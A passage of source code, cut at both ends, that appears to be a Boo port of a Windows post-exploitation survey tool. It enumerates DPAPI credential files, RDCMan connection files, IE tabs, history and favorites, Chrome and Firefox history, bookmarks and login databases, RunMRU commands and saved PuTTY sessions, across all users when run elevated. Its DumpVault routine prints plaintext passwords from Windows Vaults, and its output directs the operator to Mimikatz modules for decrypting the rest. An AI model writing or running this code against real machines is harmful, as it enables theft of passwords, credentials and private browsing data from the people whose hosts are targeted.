Array.Copy(credentialArray, 56, stringLenArray, 0, 4)
descLen = BitConverter.ToInt32(stringLenArray, 0)
descBytes = array(byte, descLen)
Array.Copy(credentialArray, 60, descBytes, 0, (descLen - 4))
desc = Encoding.Unicode.GetString(descBytes)
Console.WriteLine(' Description : {0}', desc)
Console.WriteLine(' MasterKey : {0}', guidMasterKey.ToString())
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
if found:
Console.WriteLine(' [*] Use the Mimikatz "dpapi::cred" module with appropriate /masterkey to decrypt')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListRDCManFiles():
// lists any found files in Local\Microsoft\Credentials\*
// grab the recent RDG files
lastModified as DateTime
lastAccessed as DateTime
node as XmlNode
items as XmlNodeList
filesToOpen as XmlNodeList
xmlDoc as XmlDocument
userRDManFile as string
userName as string
found as bool
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for RDCMan Settings Files (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
found = false
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userRDManFile = String.Format('{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings', dir)
if System.IO.File.Exists(userRDManFile):
xmlDoc = XmlDocument()
xmlDoc.Load(userRDManFile)
filesToOpen = xmlDoc.GetElementsByTagName('FilesToOpen')
items = filesToOpen[0].ChildNodes
node = items[0]
lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile)
lastModified = System.IO.File.GetLastWriteTime(userRDManFile)
Console.WriteLine(' RDCManFile : {0}', userRDManFile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
for rdgFile as XmlNode in items:
found = true
Console.WriteLine(' .RDG File : {0}', rdgFile.InnerText)
Console.WriteLine()
if found:
Console.WriteLine(' [*] Use the Mimikatz "dpapi::rdg" module with appropriate /masterkey to decrypt any .rdg files')
Console.WriteLine(' [*] You can extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module')
else:
Console.WriteLine('\r\n\r\n=== Checking for RDCMan Settings Files (Current User) ===\r\n')
found = false
userName = Environment.GetEnvironmentVariable('USERNAME')
userRDManFile = String.Format('{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(userRDManFile):
xmlDoc = XmlDocument()
xmlDoc.Load(userRDManFile)
// grab the recent RDG files
filesToOpen = xmlDoc.GetElementsByTagName('FilesToOpen')
items = filesToOpen[0].ChildNodes
node = items[0]
lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile)
lastModified = System.IO.File.GetLastWriteTime(userRDManFile)
Console.WriteLine(' RDCManFile : {0}', userRDManFile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
for rdgFile as XmlNode in items:
found = true
Console.WriteLine(' .RDG File : {0}', rdgFile.InnerText)
Console.WriteLine()
if found:
Console.WriteLine(' [*] Use the Mimikatz "dpapi::rdg" module with appropriate /masterkey to decrypt any .rdg files')
Console.WriteLine(' [*] You can extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListIETabs():
// Lists currently open Internet Explorer tabs, via COM
// Notes:
// https://searchcode.com/codesearch/view/9859954/
// https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816
Console.WriteLine('\r\n\r\n=== Internet Explorer Open Tabs ===\r\n')
try:
// Shell.Application COM GUID
shell as Type = Type.GetTypeFromCLSID(Guid('13709620-C279-11CE-A49E-444553540000'))
// actually instantiate the Shell.Application COM object
shellObj as Object = Activator.CreateInstance(shell)
// grab all the current windows
windows as Object = shellObj.GetType().InvokeMember('Windows', BindingFlags.InvokeMethod, null, shellObj, null)
// grab the open tab count
openTabs as Object = windows.GetType().InvokeMember('Count', BindingFlags.GetProperty, null, windows, null)
openTabsCount as int = Int32.Parse(openTabs.ToString())
for i in range(0, openTabsCount):
// grab the acutal tab
item as Object = windows.GetType().InvokeMember('Item', BindingFlags.InvokeMethod, null, windows, (of object: i))
try:
// extract the tab properties
locationName as Object = item.GetType().InvokeMember('LocationName', BindingFlags.GetProperty, null, item, null)
locationURL as Object = item.GetType().InvokeMember('LocationUrl', BindingFlags.GetProperty, null, item, null)
// ensure we have a site address
if Regex.IsMatch(locationURL.ToString(), '(^https?://.+)|(^ftp://)'):
Console.WriteLine(' Location Name : {0}', locationName)
Console.WriteLine(' Location URL : {0}\r\n', locationURL)
Marshal.ReleaseComObject(item)
item = null
except :
pass
//
Marshal.ReleaseComObject(windows)
windows = null
Marshal.ReleaseComObject(shellObj)
shellObj = null
except ex2 as Exception:
Console.WriteLine(' [X] Exception: {0}', ex2)
public static def TriageIE():
// lists Internt explorer history (last 7 days by default) and favorites
url as string
line as string
bookmarkPaths as (string)
userIEBookmarkPath as string
urlTime as DateTime
timeLong as long
timeBytes as (byte)
settings as Dictionary[of string, object]
lastDays = 7
if not FilterResults.filter:
lastDays = 90
startTime as DateTime = System.DateTime.Now.AddDays(-lastDays)
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Internet Explorer (All Users) Last {0} Days ===', lastDays)
SIDs as (string) = Registry.Users.GetSubKeyNames()
for SID as string in SIDs:
if SID.StartsWith('S-1-5') and (not SID.EndsWith('_Classes')):
settings = GetRegValues('HKU', String.Format('{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs', SID))
if (settings is not null) and (settings.Count > 1):
Console.WriteLine('\r\n History ({0}):', SID)
for kvp as KeyValuePair[of string, object] in settings:
timeBytes = GetRegValueBytes('HKU', String.Format('{0}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime', SID), kvp.Key.ToString().Trim())
if timeBytes is not null:
timeLong = (BitConverter.ToInt64(timeBytes, 0) cast long)
urlTime = DateTime.FromFileTime(timeLong)
if urlTime > startTime:
Console.WriteLine(' {0,-23} : {1}', urlTime, kvp.Value.ToString().Trim())
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName as string = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userIEBookmarkPath = String.Format('{0}\\Favorites\\', dir)
if Directory.Exists(userIEBookmarkPath):
bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, '*.url', SearchOption.AllDirectories)
if bookmarkPaths.Length != 0:
Console.WriteLine('\r\n Favorites ({0}):', userName)
for bookmarkPath as string in bookmarkPaths:
using rdr = StreamReader(bookmarkPath):
url = ''
while (line = rdr.ReadLine()) is not null:
if line.StartsWith('URL=', StringComparison.InvariantCultureIgnoreCase):
if line.Length > 4:
url = line.Substring(4)
break
Console.WriteLine(' {0}', url.ToString().Trim())
else:
Console.WriteLine('\r\n\r\n=== Internet Explorer (Current User) Last {0} Days ===', lastDays)
Console.WriteLine('\r\n History:')
settings = GetRegValues('HKCU', 'SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs')
if (settings is not null) and (settings.Count != 0):
for kvp as KeyValuePair[of string, object] in settings:
timeBytes = GetRegValueBytes('HKCU', 'SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime', kvp.Key.ToString().Trim())
if timeBytes is not null:
timeLong = (BitConverter.ToInt64(timeBytes, 0) cast long)
urlTime = DateTime.FromFileTime(timeLong)
if urlTime > startTime:
Console.WriteLine(' {0,-23} : {1}', urlTime, kvp.Value.ToString().Trim())
Console.WriteLine('\r\n Favorites:')
userIEBookmarkPath = String.Format('{0}\\Favorites\\', System.Environment.GetEnvironmentVariable('USERPROFILE'))
bookmarkPaths = Directory.GetFiles(userIEBookmarkPath, '*.url', SearchOption.AllDirectories)
for bookmarkPath as string in bookmarkPaths:
using rdr = StreamReader(bookmarkPath):
url = ''
while (line = rdr.ReadLine()) is not null:
if line.StartsWith('URL=', StringComparison.InvariantCultureIgnoreCase):
if line.Length > 4:
url = line.Substring(4)
break
Console.WriteLine(' {0}', url.ToString().Trim())
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
public static def GetVaultElementValue(vaultElementPtr as IntPtr) as object:
// Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct
// pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs
results as object
partialElement as object = System.Runtime.InteropServices.Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT))
partialElementInfo as FieldInfo = partialElement.GetType().GetField('Type')
partialElementType = partialElementInfo.GetValue(partialElement)
elementPtr = ((vaultElementPtr.ToInt64() + 16) cast IntPtr)
converterGeneratedName10 = (partialElementType cast int)
if converterGeneratedName10 == 7:
// VAULT_ELEMENT_TYPE == String; These are the plaintext passwords!
StringPtr as IntPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr)
results = System.Runtime.InteropServices.Marshal.PtrToStringUni(StringPtr)
elif converterGeneratedName10 == 0:
// VAULT_ELEMENT_TYPE == bool
results = System.Runtime.InteropServices.Marshal.ReadByte(elementPtr)
results = (results cast bool)
elif converterGeneratedName10 == 1:
// VAULT_ELEMENT_TYPE == Short
results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr)
elif converterGeneratedName10 == 2:
// VAULT_ELEMENT_TYPE == Unsigned Short
results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr)
elif converterGeneratedName10 == 3:
// VAULT_ELEMENT_TYPE == Int
results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr)
elif converterGeneratedName10 == 4:
// VAULT_ELEMENT_TYPE == Unsigned Int
results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr)
elif converterGeneratedName10 == 5:
// VAULT_ELEMENT_TYPE == Double
results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Double))
elif converterGeneratedName10 == 6:
// VAULT_ELEMENT_TYPE == GUID
results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Guid))
elif converterGeneratedName10 == 12:
// VAULT_ELEMENT_TYPE == Sid
sidPtr as IntPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr)
sidObject = System.Security.Principal.SecurityIdentifier(sidPtr)
results = sidObject.Value
else:
/* Several VAULT_ELEMENT_TYPES are currently unimplemented according to
* Lord Graeber. Thus we do not implement them. */
results = null
return results
public static def DumpVault():
// pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs
Console.WriteLine('\r\n\r\n=== Checking Windows Vaults ===')
OSVersion = Environment.OSVersion.Version
OSMajor = OSVersion.Major
OSMinor = OSVersion.Minor
VAULT_ITEM as Type
if (OSMajor >= 6) and (OSMinor >= 2):
VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8)
else:
VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7)
vaultCount as Int32 = 0
vaultGuidPtr as IntPtr = IntPtr.Zero
result = VaultCli.VaultEnumerateVaults(0, vaultCount, vaultGuidPtr)
//var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr);
if (result cast int) != 0:
Console.WriteLine(((' [ERROR] Unable to enumerate vaults. Error (0x' + result.ToString()) + ')'))
return
// Create dictionary to translate Guids to human readable elements
guidAddress as IntPtr = vaultGuidPtr
vaultSchema as Dictionary[of Guid, string] = Dictionary[of Guid, string]()
vaultSchema.Add(Guid('2F1A6504-0641-44CF-8BB5-3612D865F2E5'), 'Windows Secure Note')
vaultSchema.Add(Guid('3CCD5499-87A8-4B10-A215-608888DD3B55'), 'Windows Web Password Credential')
vaultSchema.Add(Guid('154E23D0-C644-4E6F-8CE6-5069272F999F'), 'Windows Credential Picker Protector')
vaultSchema.Add(Guid('4BF4C442-9B8A-41A0-B380-DD4A704DDB28'), 'Web Credentials')
vaultSchema.Add(Guid('77BC582B-F0A6-4E15-4E80-61736B6F3B29'), 'Windows Credentials')
vaultSchema.Add(Guid('E69D7838-91B5-4FC9-89D5-230D4D4CC2BC'), 'Windows Domain Certificate Credential')
vaultSchema.Add(Guid('3E0E35BE-1B77-43E7-B873-AED901B6275B'), 'Windows Domain Password Credential')
vaultSchema.Add(Guid('3C886FF3-2669-4AA2-A8FB-3F6759A77548'), 'Windows Extended Credential')
vaultSchema.Add(Guid('00000000-0000-0000-0000-000000000000'), null)
for i in range(0, vaultCount):
// Open vault block
vaultGuidString as object = System.Runtime.InteropServices.Marshal.PtrToStructure(guidAddress, typeof(Guid))
vaultGuid = Guid(vaultGuidString.ToString())
guidAddress = ((guidAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(typeof(Guid))) cast IntPtr)
vaultHandle as IntPtr = IntPtr.Zero
vaultType as string
if vaultSchema.ContainsKey(vaultGuid):
vaultType = vaultSchema[vaultGuid]
else:
vaultType = vaultGuid.ToString()
result = VaultCli.VaultOpenVault(vaultGuid, (0 cast UInt32), vaultHandle)
if result != 0:
Console.WriteLine((((' [ERROR] Unable to open the following vault: ' + vaultType) + '. Error: 0x') + result.ToString()))
return
// Vault opened successfully! Continue.
Console.WriteLine('\r\n Vault GUID : {0}', vaultGuid)
Console.WriteLine(' Vault Type : {0}\r\n', vaultType)
// Fetch all items within Vault
vaultItemCount = 0
vaultItemPtr as IntPtr = IntPtr.Zero
result = VaultCli.VaultEnumerateItems(vaultHandle, 512, vaultItemCount, vaultItemPtr)
if result != 0:
Console.WriteLine((((' [ERROR] Unable to enumerate vault items from the following vault: ' + vaultType) + '. Error 0x') + result.ToString()))
return
structAddress = vaultItemPtr
if vaultItemCount > 0:
for j in range(1, (vaultItemCount + 1)):
// For each vault item...
// Begin fetching vault item...
currentItem = System.Runtime.InteropServices.Marshal.PtrToStructure(structAddress, VAULT_ITEM)
structAddress = ((structAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(VAULT_ITEM)) cast IntPtr)
passwordVaultItem as IntPtr = IntPtr.Zero
// Field Info retrieval
schemaIdInfo as FieldInfo = currentItem.GetType().GetField('SchemaId')
schemaId = Guid(schemaIdInfo.GetValue(currentItem).ToString())
pResourceElementInfo as FieldInfo = currentItem.GetType().GetField('pResourceElement')
pResourceElement = (pResourceElementInfo.GetValue(currentItem) cast IntPtr)
pIdentityElementInfo as FieldInfo = currentItem.GetType().GetField('pIdentityElement')
pIdentityElement = (pIdentityElementInfo.GetValue(currentItem) cast IntPtr)
dateTimeInfo as FieldInfo = currentItem.GetType().GetField('LastModified')
lastModified = (dateTimeInfo.GetValue(currentItem) cast UInt64)
pPackageSid as IntPtr = IntPtr.Zero
if (OSMajor >= 6) and (OSMinor >= 2):
// Newer versions have package sid
pPackageSidInfo as FieldInfo = currentItem.GetType().GetField('pPackageSid')
pPackageSid = (pPackageSidInfo.GetValue(currentItem) cast IntPtr)
result = VaultCli.VaultGetItem_WIN8(vaultHandle, schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, passwordVaultItem)
else:
result = VaultCli.VaultGetItem_WIN7(vaultHandle, schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, passwordVaultItem)
if result != 0:
Console.WriteLine((' [ERROR] occured while retrieving vault item. Error: 0x' + result.ToString()))
return
passwordItem as object = System.Runtime.InteropServices.Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM)
pAuthenticatorElementInfo as FieldInfo = passwordItem.GetType().GetField('pAuthenticatorElement')
pAuthenticatorElement = (pAuthenticatorElementInfo.GetValue(passwordItem) cast IntPtr)
// Fetch the credential from the authenticator element
cred as object = GetVaultElementValue(pAuthenticatorElement)
packageSid as object = null
if pPackageSid != IntPtr.Zero:
packageSid = GetVaultElementValue(pPackageSid)
if cred is not null:
// Indicates successful fetch
// Console.WriteLine(" --- IE/Edge Credential ---");
// Console.WriteLine(" Vault Type : {0}", vaultType);
resource as object = GetVaultElementValue(pResourceElement)
if resource is not null:
Console.WriteLine(' Resource : {0}', resource)
identity as object = GetVaultElementValue(pIdentityElement)
if identity is not null:
Console.WriteLine(' Identity : {0}', identity)
if packageSid is not null:
Console.WriteLine(' PacakgeSid : {0}', packageSid)
Console.WriteLine(' Credential : {0}', cred)
// Stupid datetime
Console.WriteLine(' LastModified : {0}', System.DateTime.FromFileTimeUtc((lastModified cast long)))
Console.WriteLine()
public static def CheckChrome():
// checks if Chrome has a history database
userChromeLoginDataPath as string
userChromeCookiesPath as string
userChromeHistoryPath as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for Chrome (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
found = false
parts as (string) = dir.Split(char('\\'))
userName as string = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userChromeHistoryPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History', dir)
if System.IO.File.Exists(userChromeHistoryPath):
Console.WriteLine(' [*] Chrome history file exists at {0}', userChromeHistoryPath)
Console.WriteLine(' Run the \'TriageChrome\' command\r\n')
found = true
userChromeCookiesPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies', dir)
if System.IO.File.Exists(userChromeCookiesPath):
Console.WriteLine(' [*] Chrome cookies database exists at {0}', userChromeCookiesPath)
Console.WriteLine(' Run the Mimikatz "dpapi::chrome" module\r\n')
found = true
userChromeLoginDataPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data', dir)
if System.IO.File.Exists(userChromeLoginDataPath):
Console.WriteLine(' [*] Chrome saved login database exists at {0}', userChromeLoginDataPath)
Console.WriteLine(' Run the Mimikatz "dpapi::chrome" module or SharpWeb (https://github.com/djhohnstein/SharpWeb)\r\n')
found = true
if found:
Console.WriteLine()
else:
Console.WriteLine('\r\n\r\n=== Checking for Chrome (Current User) ===\r\n')
userChromeHistoryPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(userChromeHistoryPath):
Console.WriteLine(' [*] Chrome history file exists at {0}', userChromeHistoryPath)
Console.WriteLine(' Run the \'TriageChrome\' command\r\n')
userChromeCookiesPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(userChromeCookiesPath):
Console.WriteLine(' [*] Chrome cookies database exists at {0}', userChromeCookiesPath)
Console.WriteLine(' Run the Mimikatz "dpapi::chrome" module\r\n')
userChromeLoginDataPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(userChromeLoginDataPath):
Console.WriteLine(' [*] Chrome saved login database exists at {0}', userChromeLoginDataPath)
Console.WriteLine(' Run the Mimikatz "dpapi::chrome" module or SharpWeb (https://github.com/djhohnstein/SharpWeb)')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ParseChromeHistory(path as string, user as string):
// parses a Chrome history file via regex
if System.IO.File.Exists(path):
Console.WriteLine('\r\n History ({0}):\r\n', user)
historyRegex = Regex('(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?')
try:
using r = StreamReader(path):
line as string
while (line = r.ReadLine()) is not null:
m as Match = historyRegex.Match(line)
if m.Success:
Console.WriteLine(' {0}', m.Groups[0].ToString().Trim())
except exception as System.IO.IOException:
Console.WriteLine('\r\n [x] IO exception, history file likely in use (i.e. Browser is likely running): ', exception.Message)
except exception as Exception:
Console.WriteLine('\r\n [x] Exception: {0}', exception.Message)
public static def ParseChromeBookmarks(path as string, user as string):
// parses a Chrome bookmarks
if System.IO.File.Exists(path):
Console.WriteLine('\r\n Bookmarks ({0}):\r\n', user)
try:
contents as string = System.IO.File.ReadAllText(path)
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
json = JavaScriptSerializer()
deserialized as Dictionary[of string, object] = json.Deserialize[of Dictionary[of string, object]](contents)
roots = (deserialized['roots'] cast Dictionary[of string, object])
bookmark_bar = (roots['bookmark_bar'] cast Dictionary[of string, object])
children = (bookmark_bar['children'] cast System.Collections.ArrayList)
for entry as Dictionary[of string, object] in children:
Console.WriteLine(' Name: {0}', entry['name'].ToString().Trim())
Console.WriteLine(' Url: {0}\r\n', entry['url'].ToString().Trim())
except exception as System.IO.IOException:
Console.WriteLine('\r\n [x] IO exception, Bookmarks file likely in use (i.e. Chrome is likely running).', exception.Message)
except exception as Exception:
Console.WriteLine('\r\n [x] Exception: {0}', exception.Message)
public static def TriageChrome():
userChromeBookmarkPath as string
userChromeHistoryPath as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Chrome (All Users) ===')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName as string = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userChromeHistoryPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History', dir)
ParseChromeHistory(userChromeHistoryPath, userName)
userChromeBookmarkPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks', dir)
ParseChromeBookmarks(userChromeBookmarkPath, userName)
else:
Console.WriteLine('\r\n\r\n=== Chrome (Current User) ===')
userChromeHistoryPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History', System.Environment.GetEnvironmentVariable('USERPROFILE'))
ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable('USERNAME'))
userChromeBookmarkPath = String.Format('{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks', System.Environment.GetEnvironmentVariable('USERPROFILE'))
ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable('USERNAME'))
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def CheckFirefox():
// checks if Firefox has a history database
firefoxCredentialFile4 as string
firefoxCredentialFile3 as string
firefoxHistoryFile as string
directories as (string)
userFirefoxBasePath as string
userName as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for Firefox (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
found = false
userFirefoxBasePath = String.Format('{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\', dir)
if System.IO.Directory.Exists(userFirefoxBasePath):
directories = Directory.GetDirectories(userFirefoxBasePath)
for directory as string in directories:
firefoxHistoryFile = String.Format('{0}\\{1}', directory, 'places.sqlite')
if System.IO.File.Exists(firefoxHistoryFile):
Console.WriteLine(' [*] Firefox history file exists at {0}', firefoxHistoryFile)
Console.WriteLine(' Run the \'TriageFirefox\' command\r\n')
found = true
firefoxCredentialFile3 = String.Format('{0}\\{1}', directory, 'key3.db')
if System.IO.File.Exists(firefoxCredentialFile3):
Console.WriteLine(' [*] Firefox credential file exists at {0}', firefoxCredentialFile3)
Console.WriteLine(' Run SharpWeb (https://github.com/djhohnstein/SharpWeb) \r\n')
found = true
firefoxCredentialFile4 = String.Format('{0}\\{1}', directory, 'key4.db')
if System.IO.File.Exists(firefoxCredentialFile4):
Console.WriteLine(' [*] Firefox credential file exists at {0}', firefoxCredentialFile4)
Console.WriteLine(' Run SharpWeb (https://github.com/djhohnstein/SharpWeb) \r\n')
found = true
if found:
Console.WriteLine()
else:
Console.WriteLine('\r\n\r\n=== Checking for Firefox (Current User) ===\r\n')
userName = Environment.GetEnvironmentVariable('USERNAME')
userFirefoxBasePath = String.Format('{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.Directory.Exists(userFirefoxBasePath):
directories = Directory.GetDirectories(userFirefoxBasePath)
for directory as string in directories:
firefoxHistoryFile = String.Format('{0}\\{1}', directory, 'places.sqlite')
if System.IO.File.Exists(firefoxHistoryFile):
Console.WriteLine(' [*] Firefox history file exists at {0}', firefoxHistoryFile)
Console.WriteLine(' Run the \'TriageFirefox\' command\r\n')
firefoxCredentialFile3 = String.Format('{0}\\{1}', directory, 'key3.db')
if System.IO.File.Exists(firefoxCredentialFile3):
Console.WriteLine(' [*] Firefox credential file exists at {0}', firefoxCredentialFile3)
Console.WriteLine(' Run SharpWeb (https://github.com/djhohnstein/SharpWeb)\r\n')
firefoxCredentialFile4 = String.Format('{0}\\{1}', directory, 'key4.db')
if System.IO.File.Exists(firefoxCredentialFile4):
Console.WriteLine(' [*] Firefox credential file exists at {0}', firefoxCredentialFile4)
Console.WriteLine(' Run SharpWeb (https://github.com/djhohnstein/SharpWeb)\r\n')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ParseFirefoxHistory(path as string, user as string):
// parses a Firefox history file via regex
if System.IO.Directory.Exists(path):
directories as (string) = Directory.GetDirectories(path)
for directory as string in directories:
firefoxHistoryFile as string = String.Format('{0}\\{1}', directory, 'places.sqlite')
Console.WriteLine('\r\n History ({0}):\r\n', user)
historyRegex = Regex('(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?')
try:
using r = StreamReader(firefoxHistoryFile):
line as string
while (line = r.ReadLine()) is not null:
m as Match = historyRegex.Match(line)
if m.Success:
Console.WriteLine(' {0}', m.Groups[0].ToString().Trim())
except exception as System.IO.IOException:
Console.WriteLine('\r\n [x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).', exception.Message)
except exception as Exception:
Console.WriteLine('\r\n [x] Exception: {0}', exception.Message)
public static def TriageFirefox():
userFirefoxBasePath as string
userName as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Firefox (All Users) ===')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userFirefoxBasePath = String.Format('{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\', dir)
ParseFirefoxHistory(userFirefoxBasePath, userName)
else:
Console.WriteLine('\r\n\r\n=== Firefox (Current User) ===')
userName = Environment.GetEnvironmentVariable('USERNAME')
userFirefoxBasePath = String.Format('{0}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\', System.Environment.GetEnvironmentVariable('USERPROFILE'))
ParseFirefoxHistory(userFirefoxBasePath, userName)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListRecentRunCommands():
// lists recently run commands via the RunMRU registry key
recentCommands as Dictionary[of string, object]
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Recent Typed RUN Commands (All Users) ===')
SIDs as (string) = Registry.Users.GetSubKeyNames()
for SID as string in SIDs:
if SID.StartsWith('S-1-5') and (not SID.EndsWith('_Classes')):
recentCommands = GetRegValues('HKU', String.Format('{0}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU', SID))
if (recentCommands is not null) and (recentCommands.Count != 0):
Console.WriteLine('\r\n {0} :', SID)
for kvp as KeyValuePair[of string, object] in recentCommands:
Console.WriteLine(' {0,-10} : {1}', kvp.Key, kvp.Value)
else:
Console.WriteLine('\r\n\r\n=== Recent Typed RUN Commands (Current User) ===\r\n')
recentCommands = GetRegValues('HKCU', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU')
if (recentCommands is not null) and (recentCommands.Count != 0):
for kvp as KeyValuePair[of string, object] in recentCommands:
Console.WriteLine(' {0,-10} : {1}', kvp.Key, kvp.Value)
public static def ListPuttySessions():
// extracts saved putty sessions and basic configs (via the registry)
result as string
keys as (string)
subKeys as (string)
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Putty Saved Session Information (All Users) ===\r\n')
SIDs as (string) = Registry.Users.GetSubKeyNames()
for SID as string in SIDs:
